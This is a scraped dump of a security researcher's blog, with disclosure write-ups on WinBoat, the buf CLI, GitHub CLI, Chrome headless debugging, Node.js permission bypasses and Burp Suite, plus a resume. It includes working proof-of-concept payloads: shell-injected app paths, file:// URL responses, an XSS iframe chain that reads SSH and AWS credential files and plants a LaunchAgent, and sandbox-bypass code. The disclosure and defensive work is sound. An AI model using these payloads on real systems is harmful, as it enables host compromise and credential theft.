[{"content":"","date":null,"permalink":"https:\/\/hack.do\/posts\/","section":"","summary":"","title":""},{"content":"What Is WinBoat? #WinBoat is a desktop application that lets you run Windows apps side-by-side with Linux apps \u2014 without spinning up a full virtual machine UI.\nUnder the hood, it:\nRuns a Windows environment inside a container Exposes a local HTTP API used by the host UI Uses RDP to launch Windows applications seamlessly Dynamically renders a list of &ldquo;apps&rdquo; provided by the guest From a user&rsquo;s perspective, it feels a bit like WSLg or Parallels Coherence mode: click an app, get a window, forget there&rsquo;s a whole OS boundary involved.\nFrom a security perspective\u2026 that boundary is exactly where things get interesting.\nOverview #WinBoat exposes a Windows \u201cguest service\u201d HTTP API on the host at http:\/\/localhost:7148\/. The service accepts unauthenticated and has no csrf protections. It is configured with permissive CORS (not nessesory for the exploit but makes for a nice POC). That means a remote website can issue requests directly to a privileged local service running on your machine.\nOne of those endpoints is \/update.\nBy POSTing attacker-controlled content to \/update, an attacker can replace a guest component (such as guest_server) and compromise the Windows container. Once compromised, the guest can return malicious \u201capp entries\u201d to the host.\nThe problem: the host renderer blindly trusts those entries.\nSpecifically, it takes the guest-supplied Path field, interpolates it into a shell command, and executes it on the Linux host the next time the user clicks the app.\nAt that point, the exploit has crossed every boundary:\nVideo link: YouTube PoC\nAttack Flow # A malicious webpage sends a cross-origin request to http:\/\/localhost:7148\/update The unauthenticated update endpoint accepts attacker-controlled content The Windows guest container is compromised The guest returns a malicious app entry with a crafted Path The host renderer builds a shell command using that Path The user clicks the app Linux host code execution Guest \u2192 Host Trust Boundary Break #The malicious app entry returned by the compromised guest looks like this:\n[ { &#34;Name&#34;: &#34;Hax&#34;, &#34;Path&#34;: &#34;$(gnome-calculator)&#34; } ] This Path is later interpolated directly into a shell command on the host. Here\u2019s the vulnerable code path in WinBoat:\nWinBoat source: src\/renderer\/lib\/winboat.ts (#L707)\nhttps:\/\/github.com\/TibixDev\/winboat\/blob\/aa868ea63512ab984c70c8a9e60ffe841a194167\/src\/renderer\/lib\/winboat.ts#L707 let cmd = `${freeRDPBin} \/u:&#34;${username}&#34;\\ \/p:&#34;${password}&#34;\\ \/v:127.0.0.1\\ \/port:${rdpHostPort}\\ ... \/app:program:&#34;${app.Path}&#34;,name:&#34;${cleanAppName}&#34;,cmd:&#34;${app.Args}&#34; &amp;`; await execAsync(cmd); Because app.Path is not sanitized and is embedded in a shell string, the subshell:\n$(gnome-calculator) is executed immediately.\nThis code runs on the Linux host, not inside the container \u2014 giving full host-level RCE.\nProof of Concept Notes #My PoC at http:\/\/winboat.hack.do\/ \u201cvibes\u201d the chain together by abusing \/update to replace the apps.ps2 script so the guest returns a single new app entry (\u201cHax\u201d). Once WinBoat displays it, clicking the app triggers host command execution.\nRelevant PoC Chunks (browser \u2192 localhost:7148) #The full PoC has a UI, logging, and metrics polling, but the exploit boils down to:\nFetching an attacker-controlled ZIP Uploading it cross-origin to the unauthenticated local \/update endpoint Polling until the service restarts and the malicious &quot;Hax&quot; app appears in \/apps \/\/ 1) Download attacker-controlled ZIP (contains replacement apps.ps2 \/ guest_server bits) const response = await fetch(sourceUrl); ... const zipBlob = await response.blob(); \/\/ 2) Upload ZIP to unauthenticated local update endpoint const zipFile = new File([zipBlob], &#34;upload.zip&#34;, { type: &#34;application\/zip&#34; }); const form = new FormData(); form.append(&#34;updateFile&#34;, zipFile); const uploadResponse = await fetch(destUrl, { method: &#34;POST&#34;, body: form, mode: &#34;cors&#34;, }); ... waitForServerRestart() } Impact # Remote \u2192 local bridge: any website can target the user\u2019s local WinBoat service on localhost when CORS is permissive. Container compromise \u2192 host compromise: a compromised guest can feed attacker-controlled data into privileged host-side command execution. User interaction: host code execution triggers on the next click of the malicious app entry. Affected Versions # Affected: WinBoat &lt;= v0.8.7 Fixed: WinBoat v0.9.0 Fixed in v0.9.0 #This was resolved in WinBoat v0.9.0 by requiring authentication for the local API via a randomly generated password, preventing arbitrary webpages from issuing unauthenticated update requests.\nFix: https:\/\/github.com\/TibixDev\/winboat\/commit\/403227500a590ad9a82be1237d47a22fae230f36 Related change (migration from execSync to async execution):\nCommit 3ca4186 \u2014 \u201cMigrate from execSync to execAsync\u201d Recommendations # Treat guest-provided fields like Path as untrusted input; avoid shell interpolation entirely (prefer direct exec with args, strict allowlists, or structured IPC). Keep local privileged services authenticated and avoid permissive CORS on sensitive endpoints (especially update\/install surfaces). References # WinBoat project site PoC video: YouTube Vulnerable interpolation: https:\/\/github.com\/TibixDev\/winboat\/blob\/aa868ea63512ab984c70c8a9e60ffe841a194167\/src\/renderer\/lib\/winboat.ts#L707 Fix commit: https:\/\/github.com\/TibixDev\/winboat\/commit\/403227500a590ad9a82be1237d47a22fae230f36 Related commit: 3ca4186 ","date":null,"permalink":"https:\/\/hack.do\/posts\/winboat-guest-service-host-rce\/","section":"","summary":"A remote webpage can abuse an unauthenticated guest HTTP API to compromise the Windows guest container, then feed a malicious app entry leading to Linux host code execution on click.","title":"WinBoat: Drive by Client RCE + Sandbox escape."},{"content":"Summary: Penetration testing expert skilled in mobile, cloud, and hardware security, helping companies stay ahead of threats by uncovering vulnerabilities, driving remediation, and protecting users.\nPrincipal Red Team, Tinder \/ Match Group #2024 - Current\nConducting pentests and secure code reviews across multiple flagship apps, uncovering and validating vulnerabilities before production impact. Leading third-party risk reviews and penetration tests of key vendors, ensuring compliance with internal and regulatory security standards. Building and maintaining automation pipelines to identify and triage vulnerabilities at scale, reducing manual workload and time-to-detection. Investigating bug bounty submissions, identifying root causes of reported exploits, and proactively searching for similar vulnerabilities across codebases. Monitoring and maintaining enterprise security platforms such as Wiz and Assetnote to ensure full coverage, timely alerting, and actionable risk insights. Principal Security Researcher, Pixee #2023 - 2024\nDeveloped engine and associated rules for JavaScript \u201cCodemodder\u201d framework to automate finding and fixing security issues. Consulted in rule development and automated fix opportunities for Java and Python Codemodder frameworks. Developed CLI and CI integrations for public use of company tooling outside of the GitHub bot. Director of Security Research, Contrast Security #2014 - 2023\nDeveloped instrumentation agents for developers for IAST (interactive application security testing) and RASP (Runtime Application Self-Protection). Researched new vulnerabilities and attacks and developed runtime detection and protection rules. Researched OSS and evaluated frameworks\/security controls for remediation documentation. Developed \u201cVirtual Patches\u201d for known security issues (public CVEs). Managed internal security, external audits and compliance (SOC 2 Type 2, other). Community development responsibilities included \u201cContrast Labs\u201d, speaking engagements, OSS development, NodeSecurity Working Group. Full Stack Engineer, Machinima (now Warner Brothers) #2012-2014\nFull Stack Engineer, worked with the Padrino Ruby framework (based on Sinatra) backed by MySQL and Amazon Cloud Services. Built a content management and distribution platform along with client Xbox One, Xbox 360 and iPad\/iPhone applications. Developed video encoding automation for content distribution. Application Security Engineer, Aspect Security (now EY) #2010-2012\nProvided application security consulting services (pentesting and threat modeling) for enterprise web presence companies, Fortune 500 companies, government, defense, financial, healthcare, services, and retail sectors. Inspected key mechanisms of security including user privacy, authentication, access control, password management, profile management, secure transactions, and parameter validation. Tools included IBM Appscan Source, WebInspect, Fortify, Brakeman, Burp, WebScarab, fuzzing tools, scripting, etc. Created and followed a structured methodology focusing on common flaws. Auditing against PCI DSS, HIPAA, FISMA, NIST, and SSAT standards. Mobile security reviews for vulnerabilities in Objective-C (iOS), Java (Android), and PhoneGap. Senior Engineer, JibJab Media Inc #2009-2010\nFull stack Ruby on Rails developer with PostgreSQL using AWS services. Technical lead on Facebook Connect, SSO, and Gifts\/Payment integrations. Developed video encoding automation. Software Engineer, Fonality Inc. #2006-2009\nWorked in the development of a cloud-based business IP-PBX phone system. Developed many key features of the product including a web-based chart and graph interface for system resources and call status. Developed administration panels including: T1\/Analog line, SIP accounts and hardware management along with browser based \u201cclick to call\u201d plugin. Software Engineer, Cellus USA. #2003-2006\nDeveloped high-end, scalable SMPP services to connect directly to Tier 1 mobile carriers. Managed tracking and payments system for digital and performance rights. Security Research Contributions # GitHub CLI: CVE-2025-48938 Node.js: CVE-2023-30587 Microsoft: CVE-2020-17091, CVE-2018-8569, Others Pending Google: CVE-2021-30618, CVE-2012-284, CVE-2012-2848 Facebook \u201cwall of fame\u201d recognized five times Bugcrowd MVP Microsoft (MSRC) Contributors - 2019 Most Valuable Security Researcher Education # A.A.Cambridge College (Denver, CO) Information Technology, Focus: Network Security ","date":"25 August 2025","permalink":"https:\/\/hack.do\/about\/","section":"","summary":"","title":"Matt Austin"},{"content":"","date":null,"permalink":"https:\/\/hack.do\/","section":"","summary":"","title":""},{"content":"Overview #A vulnerability in the buf (from https:\/\/buf.build\/) CLI allows an attacker-controlled registry server to execute code on the client machine simply by attempting to log in.\nRepro:\nbuf registry login buf.hack.do Video link: YouTube PoC (unlisted)\nDescription #This abuses the registry login flow: https:\/\/buf.build\/docs\/reference\/cli\/buf\/registry\/login\/\nThe issue starts here: https:\/\/github.com\/bufbuild\/buf\/blob\/4d05f30e35c0fbee2c384878b55d6adac4477fb6\/private\/buf\/cmd\/buf\/command\/registry\/registrylogin\/registrylogin.go#L313\nWhich calls:\nbrowser.OpenURL(deviceAuthorization.VerificationURIComplete) This line uses: https:\/\/github.com\/pkg\/browser\/blob\/master\/browser_darwin.go\nWhich, on macOS, defers to the system open command:\nfunc openBrowser(url string) error { return runCmd(&#34;open&#34;, url) } The macOS open command opens a file, directory, or URL using the default handler. This means if the registry returns a path (e.g. file:\/\/...) instead of an http[s]:\/\/ URL, the client will attempt to open it.\nPoC #The PoC server is running: https:\/\/gist.github.com\/matt-\/6f20d07cf714236113d6ffbbed047d57\nFor the PoC, the registry returns:\n{ &#34;device_code&#34;: &#34;asdf&#34;, &#34;user_code&#34;: &#34;asfd&#34;, &#34;expires_in&#34;: 900, &#34;interval&#34;: 5, &#34;verification_uri&#34;: &#34;file:\/\/\/System\/Applications\/Calculator.app&#34;, &#34;verification_uri_complete&#34;: &#34;file:\/\/\/System\/Applications\/Calculator.app&#34; } This uses a path to Calculator to demonstrate code execution on macOS.\nRemediation #The pkg\/browser package supports opening local files by design, but in this context the client should only open a web URL. A simple validation (e.g. require the verification URL to begin with http:\/\/ or https:\/\/) is sufficient to prevent file:\/\/ and other unexpected schemes.\nThe fix #Fixed upstream: https:\/\/github.com\/bufbuild\/buf\/commit\/6f65ecdc32e49f0f78083d3e0750a91735b135f1\n","date":null,"permalink":"https:\/\/hack.do\/posts\/buf-cli-registry-login-rce\/","section":"","summary":"A malicious protobuf  registry can return a file:\/\/ verification URL during device auth; the buf CLI opens it via the OS default handler (e.g. macOS open), enabling client-side code execution during login.","title":"RCE in buf CLI (from http:\/\/buf.build)"},{"content":"While testing GitHub CLI&rsquo;s behavior with custom GitHub Enterprise Server instances, I discovered a critical vulnerability that allows an attacker-controlled server to execute arbitrary commands on a user&rsquo;s machine. This vulnerability, assigned CVE-2025-48938, stems from how the CLI handles URLs returned from GraphQL endpoints.\nThe Vulnerability #The vulnerability exists in the go-gh library (specifically github.com\/cli\/go-gh\/v2\/pkg\/browser), which is used by both the GitHub CLI and CLI extensions. The issue affects any command that uses the -w, --web flag to open resources in a browser, including:\ngh pr view --web and other pull request commands gh repo view --web and other repository commands gh issue view --web and other issue commands gh codespace commands that transition to Visual Studio Code When you run these commands, the GitHub CLI queries various API endpoints (like the PullRequestForBranch GraphQL endpoint) to fetch URLs for resources. The problem? The Browser.Browse() function in go-gh would attempt to open whatever string was returned, regardless of whether it was actually a URL or a file path.\nHere&rsquo;s where things get interesting: if the returned string is a proper URL (starting with http:\/\/ or https:\/\/), it opens in your browser as expected. But if an attacker-controlled server returns a file path instead, for example, a path to a script in a repository you&rsquo;ve already cloned, the system will attempt to open or execute that file. This opens the door to arbitrary command execution.\nThe root cause is a Trust Boundary Violation (CWE-501): the code mixes trusted and untrusted data by accepting URLs from API responses without validating that they&rsquo;re actually URLs before passing them to system-level functions.\nAffected Versions # Affected versions: go-gh &lt;= 2.12.0 (affects GitHub CLI and CLI extensions using this version) Patched versions: go-gh 2.12.1 and later If you&rsquo;re using an affected version, make sure to update to 2.12.1 or later to protect against this vulnerability. You can find the full security advisory on GitHub&rsquo;s security advisories page.\nHow It Works #The attack scenario is surprisingly straightforward:\nA user connects to a malicious or compromised GitHub Enterprise Server instance The user clones a repository from that server The user runs gh pr view --web (or similar commands) The malicious server returns a file path instead of a URL in the GraphQL response The CLI passes this path to the system&rsquo;s file handler, which executes it In my proof of concept, I created a malicious server that returns a path to a bash script in the cloned repository. When executed, the script simply opens the Calculator app, a harmless demonstration, however the same technique could be used to run any arbitrary command.\nProof of Concept #To demonstrate this vulnerability, I set up a minimal GitHub Enterprise Server mock that implements just enough endpoints to make the attack work. The proof of concept code is available on GitHub. Here&rsquo;s how to reproduce it:\nFrom a terminal with the GitHub CLI installed (on macOS in this example):\nAuthenticate with the malicious server:\ngh auth login -h gh.hack.do -p https Press enter when prompted: &ldquo;Authenticate Git with your GitHub credentials?&rdquo; \u2192 Yes Select &ldquo;Paste an authentication token&rdquo; and type anything Clone a repository from the malicious server:\ngh repo clone https:\/\/gh.hack.do\/test\/test cd test Attempt to view a pull request:\ngh pr view --web Watch as the Calculator app opens (or whatever command the malicious script executes)\nThe test server I created fakes the minimum endpoints needed for authentication, cloning, and pull request queries. The full source code and setup instructions are available in the gh_hack repository. To run it yourself:\nnpm install npm start Since the GitHub CLI requires HTTPS, you&rsquo;ll need to use something like ngrok http 5000 and replace the domain in the steps above with your ngrok URL.\nThe Impact #This vulnerability is particularly dangerous because:\nFull system compromise: An attacker can run arbitrary commands on the victim&rsquo;s system, potentially leading to persistent access Credential theft: The attacker could exfiltrate sensitive authentication tokens stored on the system, including GitHub API tokens, AWS credentials, SSH keys, or environment variables Data exfiltration: An attacker could steal sensitive code, files, or other private data stored on the victim&rsquo;s system The attack is especially insidious because it requires minimal user interaction, just cloning a repository and running a common CLI command that many developers use daily. The user doesn&rsquo;t need to explicitly execute any suspicious files; the CLI does it for them.\nDisclosure and GitHub&rsquo;s Response #After reporting this vulnerability through GitHub&rsquo;s security program, their team assessed the issue and assigned it a low severity rating. Here&rsquo;s their response:\nOur security and development teams take many factors into account when determining a reward. These factors include the complexity of successfully exploiting the vulnerability, the potential exposure, as well as the percentage of impacted users and systems.\nIn this case, we understand that the impact of this vulnerability is high, however, the likelihood is pretty low as it requires a GHES owner to pollute their own instance and be able to convince a victim user to accept the invitation. After this, it also requires the victim to interact with the malicious instance and open a PR via web using GH CLI that triggers the command execution owner has planted. As such, this was assigned a low severity.\nWhile I understand GitHub&rsquo;s reasoning about the attack complexity requiring multiple steps, I believe the potential impact, arbitrary command execution on a user&rsquo;s system warrants more attention. The fact that it can be triggered through normal, everyday CLI usage makes it particularly concerning, even if the attack scenario requires some social engineering to set up.\nRegardless of the severity rating, GitHub did patch the vulnerability in version 2.12.1, which is what matters most for users&rsquo; security.\nThe Fix #In version 2.12.1, Browser.Browse() was enhanced with proper validation to prevent opening or executing files on the filesystem. The fix implements a whitelist approach:\nAllowed protocols:\nhttp:\/\/ and https:\/\/ (for web browsing) vscode:\/\/ and vscode-insiders:\/\/ (for Codespaces integration) Blocked scenarios:\nURLs with file:\/\/ protocol URLs matching files or directories on the filesystem URLs matching executables in the user&rsquo;s PATH URLs without protocols are still browsable, but only if they don&rsquo;t match any of the blocked conditions. This approach maintains functionality for legitimate use cases while preventing the arbitrary command execution vulnerability.\nTakeaways #This vulnerability highlights the importance of validating and sanitizing data returned from external sources, even when those sources are &ldquo;trusted&rdquo; enterprise instances. The GitHub CLI&rsquo;s assumption that a URL field would always contain a URL proved to be a critical security flaw. It&rsquo;s a good reminder that when interfacing with external systems, we should always validate the format and content of data before passing it to system-level functions.\n","date":null,"permalink":"https:\/\/hack.do\/posts\/cve-2025-48938\/","section":"","summary":"Remote Code Execution in Github &ldquo;GH&rdquo; CLI via custom GitHub Enterprise Server","title":"CVE-2025-48938 - GitHub CLI RCE"},{"content":"While investigating Chrome&rsquo;s remote debugging interface, @DanAmodio and I discovered a critical vulnerability that allows an attacker to achieve remote code execution on a victim&rsquo;s machine by leveraging a combination of Cross-site Scripting (XSS) on the chrome-devtools-frontend.appspot.com domain and clickjacking the DevTools HTTP handler. This vulnerability, reported as Chromium Issue 40056642, enables an attacker to obtain the GUID for a WebSocket connection to the local Remote Debugger and arbitrarily read and write local files, including startup scripts that will automatically execute on user login.\nThe Vulnerability #The vulnerability exists when Chrome is running in headless mode with remote debugging enabled. The attack combines two separate issues:\nCross-site Scripting (XSS) on the chrome-devtools-frontend.appspot.com domain, which has been documented in multiple Chromium bug reports since at least 2016 Clickjacking of the DevTools HTTP handler to navigate the remote debugging UI Together, these vulnerabilities allow an attacker to:\nExtract the WebSocket GUID from the remote debugging interface Connect to the local Chrome Remote Debugging Protocol Read arbitrary local files (including sensitive files like SSH keys, AWS credentials, etc.) Write arbitrary files to the local filesystem (including Launch Agents that execute on login) The root cause is a combination of factors:\nChrome&rsquo;s remote debugging interface exposes a web-based UI that can be embedded in iframes The XSS vulnerability on chrome-devtools-frontend.appspot.com allows JavaScript execution in the same origin context The remote debugging protocol provides powerful file system access capabilities The ability to write files to sensitive locations like ~\/Library\/LaunchAgents\/ enables persistent code execution Affected Versions # Affected versions: Chrome versions with remote debugging enabled (tested on Chrome 94.0.4583.1 canary and likely affects earlier versions) Status: This vulnerability leverages a known XSS issue that has been reported multiple times but remains unpatched in the DevTools frontend The vulnerability affects any Chrome instance running with --headless --remote-debugging-port flags, which is commonly used for:\nAutomated testing and web scraping Headless browser automation Development and debugging workflows How It Works #The attack chain works as follows:\nVictim Setup: A user launches Chrome in headless mode with remote debugging enabled:\n\/Applications\/Google\\ Chrome.app\/Contents\/MacOS\/Google\\ Chrome --headless --remote-debugging-port=9222 Frame #1 - Clickjacking: The attacker hosts a malicious webpage that creates an iframe pointing to the local remote debugging interface:\n&lt;iframe src=&#34;http:\/\/127.0.0.1:9222&#34;&gt;&lt;\/iframe&gt; The iframe is made 100% transparent, and a button is positioned over it to clickjack the user. When clicked, this navigates the frame to the DevTools UI hosted on chrome-devtools-frontend.appspot.com, which includes the WebSocket GUID in the URL:\nhttps:\/\/chrome-devtools-frontend.appspot.com\/serve_file\/@1ea76e193b4fadb723bfea2a19a66c93a1bc0ca6\/inspector.html?ws=127.0.0.1:9222\/devtools\/page\/A375BA1BB436B2ADE802B44A94C934D6&amp;remoteFrontend=true Frame #2 - XSS \/ Bridge: A second iframe is created that leverages the XSS vulnerability on chrome-devtools-frontend.appspot.com:\n&lt;iframe src=&#34;https:\/\/chrome-devtools-frontend.appspot.com\/serve_rev\/@191797\/devtools.html?remoteFrontendUrl=javascript:alert(1)&#34;&gt;&lt;\/iframe&gt; The XSS payload can access top.frames[0] and extract the location.href from Frame #1 (since they&rsquo;re now on the same origin). The WebSocket GUID is then transmitted to the parent exploit page via top.postMessage.\nExploitation: The parent page now has the WebSocket GUID and can connect to the local Chrome Remote Debugging Protocol using libraries like chrome-remote-interface or puppeteer-web.\nFile Operations:\nReading files: The attacker opens and parses file:\/\/ URLs to read arbitrary local files Writing files: The attacker uses Page.setDownloadBehavior in the debugging API to write files to arbitrary locations, such as ~\/Library\/LaunchAgents\/ on macOS Proof of Concept # To reproduce the vulnerability:\nLaunch Chrome in headless mode with remote debugging:\n\/Applications\/Google\\ Chrome.app\/Contents\/MacOS\/Google\\ Chrome --headless --remote-debugging-port=9222 Open the exploit HTML file (chrome.html) in a browser and click the button on the page\nObserve the JavaScript alert boxes showing:\nIdentified system users Contents of sensitive files if they exist locally: \/etc\/passwd ~\/.aws\/credentials ~\/.ssh\/id_rsa Observe that a Launch Agent configuration has been downloaded to ~\/Library\/LaunchAgents\/chromeRCE.plist, which will execute on user login\nThe exploit demonstrates reading sensitive system files and writing a persistent backdoor that executes on login, but the same technique could be used to:\nExfiltrate authentication tokens and credentials Install persistent malware Execute arbitrary commands with the user&rsquo;s permissions Access and steal sensitive data from the local filesystem The Impact #This vulnerability is particularly dangerous because:\nFull system compromise: An attacker can execute arbitrary commands on the victim&rsquo;s system with the same permissions as the user running Chrome Persistent access: Files can be written to ~\/Library\/LaunchAgents\/ (macOS) or equivalent startup directories on other platforms, enabling persistent code execution across reboots Credential theft: An attacker can read sensitive files including SSH keys, AWS credentials, password files, and other authentication tokens Data exfiltration: An attacker can steal sensitive code, files, or other private data from the victim&rsquo;s system Low user interaction: The attack requires minimal user interaction, just visiting a malicious webpage and clicking a button The attack is especially concerning because it targets developers and security professionals who commonly use Chrome with remote debugging enabled for testing and automation purposes. These users often have elevated permissions and access to sensitive systems, making them high-value targets.\nThe XSS Vector #The XSS vulnerability on chrome-devtools-frontend.appspot.com has been documented in multiple Chromium bug reports:\nChromium Issue #607939 Chromium Issue #618333 Chromium Issue #619414 Chromium Issue #775527 Chromium Issue #798163 The XSS vector allows JavaScript execution through the remoteFrontendUrl parameter, which can be exploited to bridge the origin boundary and extract sensitive information from the remote debugging interface.\nWhy This Matters #According to Google&rsquo;s security impact guidelines, XSS vulnerabilities in Chrome that require additional flags (like --remote-debugging) are typically considered to have no security impact since Chrome requires these flags to be explicitly enabled. However, this vulnerability demonstrates that when combined with other attack vectors (clickjacking) and powerful APIs (remote debugging protocol), these &ldquo;low-impact&rdquo; issues can lead to critical security vulnerabilities.\nThis vulnerability highlights the importance of:\nDefense in depth: Even &ldquo;low-impact&rdquo; vulnerabilities can be chained together for critical impact Secure defaults: Remote debugging interfaces should be designed with security as a primary consideration File system access: Powerful debugging APIs should have additional security controls to prevent arbitrary file access Origin isolation: The remote debugging UI should be properly isolated to prevent XSS from accessing sensitive debugging information Disclosure #This vulnerability was reported to the Chromium security team as Issue 40084203. I worked with @DanAmodio on this issue.\nTakeaways #This vulnerability highlights several important security lessons:\nVulnerability chaining: Multiple &ldquo;low-impact&rdquo; vulnerabilities can be combined to achieve critical impact. The XSS vulnerability alone might be considered low-impact, but when combined with clickjacking and powerful debugging APIs, it enables full system compromise.\nRemote debugging security: Remote debugging interfaces provide powerful capabilities that should be protected with additional security controls. The ability to read and write arbitrary files through a debugging protocol is particularly dangerous.\nOrigin isolation: The remote debugging UI should be properly isolated to prevent cross-origin attacks from accessing sensitive debugging information like WebSocket GUIDs.\nFile system access controls: Debugging APIs that provide file system access should implement additional validation and restrictions to prevent writing to sensitive locations like startup directories.\nClickjacking protection: Interfaces that handle sensitive operations should implement proper clickjacking protections (like X-Frame-Options headers).\nThe fact that this vulnerability affects a common development and testing workflow serves as a reminder that security tools and debugging interfaces need to be designed with security as a primary consideration, not an afterthought.\nReferences # Chromium Issue 40084203 Chromium Issue #607939 - XSS in chrome-devtools-frontend.appspot.com Chromium Issue #618333 - XSS in chrome-devtools-frontend.appspot.com Chromium Issue #619414 - XSS in chrome-devtools-frontend.appspot.com Chromium Issue #775527 - XSS in chrome-devtools-frontend.appspot.com Chromium Issue #798163 - XSS in chrome-devtools-frontend.appspot.com Chrome Remote Interface Chrome DevTools Protocol Documentation Proof of Concept Video ","date":null,"permalink":"https:\/\/hack.do\/posts\/cve-2021-30618\/","section":"","summary":"Abusing XSS and CSRF for Remote Code Execution in Google Chrome","title":"CVE-2021-30618 - Chrome Headless Remote Debugging RCE via XSS"},{"content":"Thinking Outside the Sandbox #Decoding and Defeating the Node.js Permission Model #Node.js has been steadily moving toward a stronger sandboxing and permission model. The goal is clear: limit what code can do, especially third-party dependencies, even after they\u2019re loaded into your process. In theory, this should dramatically reduce the blast radius of supply-chain attacks. In practice\u2026 it\u2019s complicated. This post walks through how the Node.js permission model works, where it breaks down, and how real-world exploits have bypassed both module-based and process-based protections.\nNode.js Permissions: The Big Picture #Node.js has been experimenting with two different \u201cpermission\u201d concepts that are easy to conflate:\nModule-based permissions (Policies): restrict what modules a given script (and its dependency graph) can load. Process-based permissions: restrict what the process can access (filesystem, child processes, etc.). This post is a write-up version of a talk given at KernalCon: Thinking outside the Sandbox and walks through how each model works, where it broke, and what changed to fix it.\nModule-Based Permissions #The Goal #Module-based permissions aim to control what modules a dependency can require().\nExamples:\n\u201cI don\u2019t expect my app to ever spawn a child process.\u201d \u201cFastify needs access to http, but no one else should.\u201d This is enforced via a policy.json file passed to Node at startup:\nnode --experimental-policy=policy.json main.js Module-based permissions (Policies) #Policies are intended to answer: \u201cFastify needs node:http, but no one else should.\u201d The usual shape is a policy.json manifest that enumerates which resources may depend on which specifiers.\nA minimal policy setup #main.js (allowed to load node:child_process):\nconst child_process = require(&#34;node:child_process&#34;); console.log(child_process.execSync(&#34;ls -la&#34;).toString()); require(&#34;.\/child.js&#34;); child.js (not allowed unless it declares the dependency in policy):\nconst child_process = require(&#34;node:child_process&#34;); console.log(child_process.execSync(&#34;ls -la&#34;).toString()); policy.json (only .\/main.js is granted node:child_process):\n{ &#34;resources&#34;: { &#34;.\/main.js&#34;: { &#34;integrity&#34;: true, &#34;dependencies&#34;: { &#34;node:child_process&#34;: true, &#34;.\/child.js&#34;: true } } }, &#34;scopes&#34;: { &#34;.\/&#34;: { &#34;integrity&#34;: true } } } Running child.js or letting it require(&quot;node:child_process&quot;) without listing the dependency typically fails with a manifest error.\nBypass #1: module.constructor._load (CVE-2023-32002) #One early bypass was to avoid the \u201cpolicy-aware\u201d require path and use internal loader APIs directly:\n\/\/ CVE-2023-32002 (example) const child_process = module.constructor._load(&#34;node:child_process&#34;); console.log(child_process.execSync(&#34;ls -la&#34;).toString()); This worked because policy enforcement was wired into normal compilation\/loading paths, and some internal entrypoints weren\u2019t being consistently guarded.\nFix (high level): harden\/guard internal module loader surfaces so that untrusted code can\u2019t reach privileged loaders via module.constructor the way it used to.\nBypass #2: \u201cModule Moocher\u201d via require.cache #Even if your module can\u2019t load something under policy, another already-loaded module might have a require function that can. Node caches loaded modules in require.cache, and policy is about who is doing the requiring.\nProof-of-concept shape:\n\/\/ We could loop to find the module with the permissions we want. const main_module_ref = Object.values(require.cache)[0]; const child_process = main_module_ref.require(&#34;node:child_process&#34;); console.log(child_process.execSync(&#34;ls -la&#34;).toString()); If you can get a reference to a \u201cprivileged\u201d module\u2019s require, you can \u201cmooch\u201d its access.\nFix (high level): make it harder\/impossible for untrusted code to obtain or reuse privileged loader entrypoints, and tighten how policy scope follows the requester.\nProcess-based permissions (--experimental-permission) #Process permissions aim to answer: \u201cI don\u2019t want or expect my application to spawn a child process ever.\u201d This model is about restricting runtime access to system resources (fs, child processes, etc.) for the entire Node process.\nBypass #1: WASI file access #The core idea: process permissions were framed around access \u201cthrough fs\u201d, but WASI provides a separate path to file IO via WebAssembly + preopened directories.\nThe PoC pattern is:\nEnable process permissions and restrict fs read. Use wasi with preopens to map a virtual directory to a real host path. Run a WASI-compiled module that reads a file via POSIX-like syscalls. Conceptual snippet:\nconst { WASI } = require(&#34;wasi&#34;); const wasi = new WASI({ version: &#34;preview1&#34;, preopens: { &#34;\/&#34;: &#34;\/&#34; }, args: [&#34;\/etc\/passwd&#34;] }); \/\/ instantiate and start a WASI wasm module that fopen()\/reads argv[0] Fix (high level): ensure the permission model applies consistently to all filesystem access paths, not just the fs module surface.\nBypass #2: \u201cInspector Gadget\u201d (debugger-assisted permission escalation) #Another class of bypass came from using the inspector\/debugger machinery to tamper with internal state and reach restricted APIs indirectly.\nThe slide deck demonstrates the idea by:\nConnecting to the inspector (node:inspector\/promises), Using the debugger protocol to locate internal source, Setting a conditional breakpoint to flip a guard variable (e.g., forcing an isInternal path), Creating a Worker with eval: true and permissive execArgv. High-level pseudocode shape:\nconst { Session } = require(&#34;node:inspector\/promises&#34;); const session = new Session(); session.connect(); \/\/ enable Debugger + Runtime, locate node:internal\/worker source, \/\/ set a conditional breakpoint to force an internal-only path, \/\/ then construct Worker with eval + permissive execArgv. Fix (high level): restrict inspector access under the permission model so it can\u2019t be used as an escalation vector (i.e., \u201cAccess to this API has been restricted\u201d).\nTakeaways # Security boundaries must cover alternative access paths: guarding fs doesn\u2019t help if another built-in API reaches the same OS primitives. Internal APIs are part of the attack surface: if untrusted code can reach \u201cinternal-only\u201d entrypoints, policy\/permission checks need to follow. Debugger\/inspector is extremely powerful: it should be treated as privileged and gated accordingly. References # Thinking outside the Sandbox (slide deck) ","date":null,"permalink":"https:\/\/hack.do\/posts\/thinking-outside-the-sandbox\/","section":"","summary":"A tour of Node.js\u2019s experimental permission controls (module policy + process permissions), plus practical bypasses and the fixes that closed them.","title":"Thinking Outside the Sandbox: Decoding and Defeating Node.js Permissions"},{"content":"Burp Suite utilizes an embedded Chrome browser for crawling and scanning web applications. While investigating the security implications of this architecture, I discovered a critical vulnerability that allows an attacker to achieve remote code execution on a victim&rsquo;s machine by leveraging Chrome&rsquo;s remote debugging interface in combination with a known XSS vulnerability and clickjacking attack. This issue is actually just another exploit case of this chrome rce I discovered.\nThe Vulnerability #The vulnerability exists in how Burp Suite launches its embedded Chrome instance. Burp Suite uses Chrome in headless mode with remote debugging enabled via the remote-debugging websocket port (instead of the more secure remote-debugging-pipe). This design choice, combined with a known XSS vulnerability in Chrome that has been public since at least 2016 (documented in Chromium Issue 40084203), creates a dangerous attack vector.\nThe attack chain works as follows:\nAn attacker hosts a malicious webpage that performs JavaScript port scanning to identify the randomized port used by Chrome&rsquo;s remote debugging interface The same page uses clickjacking to trick the victim into clicking a button Once the port is identified and the user clicks, the attacker can compromise the WebSocket GUID for the remote debugging channel Using Chrome&rsquo;s remote debugging APIs, the attacker triggers a file download to Burp Suite&rsquo;s installation directory The downloaded file is a malicious user.vmoptions file that contains JVM flags designed to exhaust memory and trigger an OS command The root cause is a combination of factors:\nBurp Suite&rsquo;s use of the websocket-based remote debugging transport instead of the more secure named pipe transport Chrome&rsquo;s known XSS vulnerability on chrome-devtools-frontend.appspot.com that allows JavaScript to interact with the remote debugging interface (Chromium Issue 40084203) The ability to write files to Burp Suite&rsquo;s installation directory through the remote debugging APIs Affected Versions # Affected versions: Burp Suite Professional\/Community versions prior to 2021.8 